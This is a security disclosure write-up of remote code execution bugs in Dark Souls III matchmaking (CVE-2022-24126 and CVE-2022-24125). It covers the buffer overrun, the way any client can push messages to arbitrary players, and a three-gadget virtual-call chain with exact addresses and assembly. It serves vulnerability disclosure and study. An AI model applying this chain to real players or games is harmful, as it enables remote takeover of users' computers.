Exploit Summary (CVE-2022-24126)

Improper bounds checking on a stack buffer and data size field during the parsing of NRSessionSearchResult matchmaking data allows an attacker to execute arbitrary code. The stack overflow allows one to overwrite the lower two bytes vftable_ptr of the DLMemoryInputStream object used internally by the stream reader, redirecting execution to carefully chosen neighboring code. Clever exploitation of the DLMemoryInputStream object's structure and data size field then allows one to achieve arbitrary code redirection, with RCX pointing to the address of our packet. From there a series of code redirections via virtual calls with different offsets (which will now jump at whatever addresses we wrote into the packet buffer) can be used to achieve arbitrary code execution.

Distribution vectors (CVE-2022-24125)

The distribution vectors are what make this particular RCE particularly serious (beyond already being an RCE). The exploit is transmitted through matchmaking push requests containing NRSessionSearchResult information. This means that the attacker can target anyone who joins their online session. In particular, for DS3:

• summons (PushRequestSummonSign)
• dark spirit invaders (PushRequestAllowBreakInTarget)
• players joining via covenant (PushRequestVisit)
• arena combattants (PushRequestAcceptQuickMatch)

This is already pretty bad, but the real potential is unlocked by the RequestSendMessageToPlayers request:

message RequestSendMessageToPlayers { 
    repeated uint32 player_ids = 1; 
    required bytes push_message = 2;
}

The host uses this request to directly send the PushRequestAllowBreakInTarget push message to invaders so that they can obtain spawn coordinates and join their P2P session. That's it. That's the only way this request is used by the game.

Yet it allows any client to send arbitrary push messages to hundreds of thousands of specific players.

I cannot stress how horribly unsafe this is. Any player can basically impersonnate the matchmaking server. By using this request to send the exploit through a PushRequestVisit, any online player can be remotely targeted by the attacker as long as their player ID is known. The attacker can also send the exploit to the entire online playerbase very quickly by sending multiple requests, each containing a large slice of possible player IDs.

The General Exploitation Tactic for All Games

While the RCE does not port exactly to every game, the core idea of the exploit which gives the attacker arbitrary code redirection is the same. If this can be achieved, it is very likely that a game-specific virtual call chain or ROP chain can then be found. This "first step" uses the following vulnerabilities:

Bug #1: No Bounds Check in Entry List Parser

Matchmaking push requests containing session join information store said information in a custom binary format which consists of a chain of length-deliminted data entries. Each entry has the following format:

struct Entry
{
    uint32_t type_or_id; // not sure, but probably a type (fixed length = 2, variable length = 1 ?)
    uint32_t size;
    uint8_t data[size];
}

The game function responsible for copying the data of these entries blindly trusts the size field, which creates an out-of-bounds read. This can be abused by a malicious client by setting the size field to values like 0x7FFFFFFF, causing the memory allocation to fail and the victim's game to crash. Later, this size is also passed to the constructor of a DLMemoryInputSteam, which is an instrumental part of the exploit.

Bug #2: Buffer Overrun in NRSessionSearchResult Parser

One of the entries in the data structure described above is a serialized NRSessionSearchResult object. The parser for this data first parses a list of properties. These properties can be 4 byte ints, 8 byte ints or null-terminated wide strings. This property list is followed by the host Steam persona name as a null-terminated wide string and some additional data not important for the exploit. Both this function and the property list parser use a fixed-size stack buffer to read strings, and in both cases no bounds check is performed on the buffer. Here is the game code responsible for copying the host name (produced using the Ghidra decompiler and then cleaned up):

size_t idx = 0;
wchar_t wchr = 0;
do {
  // read_wchar() function at vftable index 17 of DLEndianStreamReader
  wchr = stream_reader->read_wchar();
  player_name_buff[idx] = wchr;
  idx++;
} while (wchr != 0);

This leads to a buffer overrun exploit, allowing the attacker to corrupt the stack.

Paving the way for the virtual call / ROP chain

To achieve arbitrary code redirection, we use this and the memory layout of a DLMemoryInputStream object instantiated on the stack by the function calling the parser, which is used internally by the stream reader:

struct DLMemoryInputStream {
    uintptr_t* vftable_ptr; // Offset 0
    size_t data_size;       // Offset 4 (32bit) / 8 (64bit)
    uint8_t* data_buffer;   // Offset 8 (32bit) / 16 (64bit)
    // Entries after the buffer are not important for the exploit
}

Since we control the data_size field (Bug #1), it can be set to the stack memory address of the data_buffer field. This will succeed provided the address is constant and not too large (DS3 satisfies those requirements). Since the compiler places the stack buffer at the top of the frame, the attacker can then use Bug #2 to overwrite the lower two bytes of the DLMemoryInputStream's vftable_ptr. Hence when the next character is read by the DLEndianStreamReader, it will call the DLMemoryInputStream internally and code will be redirected. The 2 bytes give enough leeway to jump to the 22nd function in the DLEndianStreamReader vftable, which calls the 6th virtual method of the object pointed at by its first field. In a 64-bit process (i.e. Dark Souls III), the following instructions would be executed:

MOV       RCX,qword ptr [RCX + 0x8]
MOV       RAX,qword ptr [RCX]
JMP       qword ptr [RAX + 0x40]

Since RCX is a pointer to the DLMemoryInputStream object, the first instruction writes the data_size field, which has been set to a stack address pointing to the data_buffer field by the attacker using Bug #1, into RCX. The two next instructions will thus redirect execution to the memory address the attacker has written at offset 0x40 in the data buffer. Arbitrary code redirection has now been achieved! From there the attacker can set up a chain of code redirection that copies their payload into a suitable memory region and executes it by chosing code close to virtual calls with different offsets, since the buffer now acts as a virtual method table. For the Dark Souls III proof of concept I found a setup which only requires 3 gadgets to achieve RCE:

• 0x18: 140e97700
• 0x40: 1422be020
• 0x68: 140e40f15

Dark Souls III Proof of Concept Code

Running the PoC code

Attack Vector

For the proof of concept I decided to use a PushRequestVisit message sent using RequestSendMessageToPlayers. This is the most potent version of the exploit in the sense that the target's game will immediately parse the vulnerable data after recieving it in all situations (even in the main menu).

Virtual Call Redirection Chain

Offset 0x18: 140e97700

LEA       RAX,[DAT_144786150]
RET

This gadget is used in the one at 0x68. We need to put an address lower but fairly close to 144786998 into RAX; this is the closest one.

Offset 0x40: 1422be020

MOV       RDX,RAX
MOV       R8,qword ptr [RCX]
CALL      qword ptr [R8 + 0x68]

To be able to use the gadget at offset 0x68 we need the data buffer address to be stored in RDX and RCX to stay the same. This achieves precisely that.

Offset 0x68: 140e40f15

; Jumping here from the gadget at offset 0x40
MOV       RBX,RDX
CMP       R9,R8

 ; Never jumps, R9 != R8
JZ        LAB_140e40f7a
MOV       RAX,qword ptr [RCX]
MOV       R8,qword ptr [RSP + 0x50]
MOV       RDX,R9
MOV       qword ptr [RSP + 0x30],RSI

; Call gadget at offset 18 (140e97700). Loads 144786150 into RAX
CALL      qword ptr [RAX + 0x18]
MOV       RSI,RAX
TEST      RAX,RAX

; Never jumps, RAX is the data buffer addr.
JZ        LAB_140e40f4d 
CMP       RBP,RDI
MOV       RDX,RBX
MOV       RCX,RAX
CMOVC     RDI,RBP
MOV       R8,RDI ; RDI is a stack address close to 14F3B0, so the memcpy succeeds
CALL      memcpy

LAB_140e40f4d:
TEST      RBX,RBX
; Never jumps as RBX == RDX == data buffer addr, nonzero. 
JZ        LAB_140e40f62 

; We have our now fully control this RWE memory region due to the memcpy at 144786150. RCE has been achieved!
MOV       RCX,qword ptr [DAT_144786998]
MOV       RDX,RBX
MOV       RAX,qword ptr [RCX]
CALL      qword ptr [RAX + 0x68]

This gadget does almost everything for us. It calls offset 0x18 to get a memcpy destination pointer, copies our packet there and then calls the virtual function at offset 0x68 on static object at 144786998, which we now fully control because of the memcpy call. Since the amount of memory corrupted by the memcpy is large and some regions are constantly being written to by other game threads, the exploit first loads a "setup" payload that is copied into a safe location, suspends all other threads and recopies our actual payload before jumping to it. See rce.h for more info.

Extra Information

I recommend checking out the source code of the proof of concept code as it has many comments detailing the structure of the packet. If you do want to see what happens at each step in real time (you should, it's pretty cool!), you can inject the proof of concept DLL while running the game under a debugger with breakpoints at the following addresses of interest:

140ca5960

Essentially where the exploit begins. This function is responsible for parsing the size-delimited entry list data of the PushRequestVisit message. It first extracts each entry of the list into different vectors:

0x140ca59f8:
    player_data_cpy_ptr = (std_vector *)VectorCopy2_140ca4ef0(&player_data_cpy,player_data);
    FUN_140ca5010(player_data_cpy_ptr,&spawn_data,0x1c);
    FUN_140ca5010(player_data_cpy_ptr,&unk,4);
    FUN_140ca4fa0(player_data_cpy_ptr,&nrssr_data);